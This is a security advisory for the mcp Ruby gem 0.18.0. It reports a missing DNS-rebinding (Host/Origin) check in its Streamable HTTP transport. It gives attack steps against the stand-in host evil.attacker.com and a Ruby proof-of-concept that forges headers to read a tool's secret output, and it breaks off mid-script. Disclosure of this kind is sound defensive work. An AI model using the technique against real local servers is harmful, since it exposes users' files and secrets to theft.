RubyGems · mcp
MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection
MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.
localhost).tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).
The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:
# call(env) -> handle_request(Rack::Request.new(env)) (line 56)
def handle_post(request)
required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only
return accept_error if accept_error
content_type_error = validate_content_type(request) # line 338 - checks Content-Type only
return content_type_error if content_type_error
body_string = request.body.read
session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID
No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].
The only request-env reads in the whole class are:
extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)validate_content_type -> request.env["CONTENT_TYPE"] (line 512)validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.
StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).
Install:
gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix
gem install rack # required by StreamableHTTPTransport
PoC (poc_f1_dnsrebind.rb):
# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"
puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts
# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end
server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last
def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
body = JSON.generate(body_hash)
env = {
"REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
"HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector)
"HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector)
"HTTP_ACCEPT" => "application/json, text/event-stream",
"CONTENT_TYPE" => "application/json",
"rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
}
env["HTTP_MCP_SESSION_ID"] = session_id if session_id
env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
status, headers, resp = transport.call(env)
collected = +""
if resp.respond_to?(:each)
resp.each { |c| collected << c.to_s }
elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body
sink = Object.new
sink.define_singleton_method(:write) { |s| collected << s.to_s }
sink.define_singleton_method(:flush) {}
sink.define_singleton_method(:close) {}
resp.call(sink)
end
[status, headers, collected]
end
puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status : #{status}"
puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body : #{body}"
session = headers["Mcp-Session-Id"]
call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status : #{status2}"
puts "[tools/call] response body : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts
puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: h
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.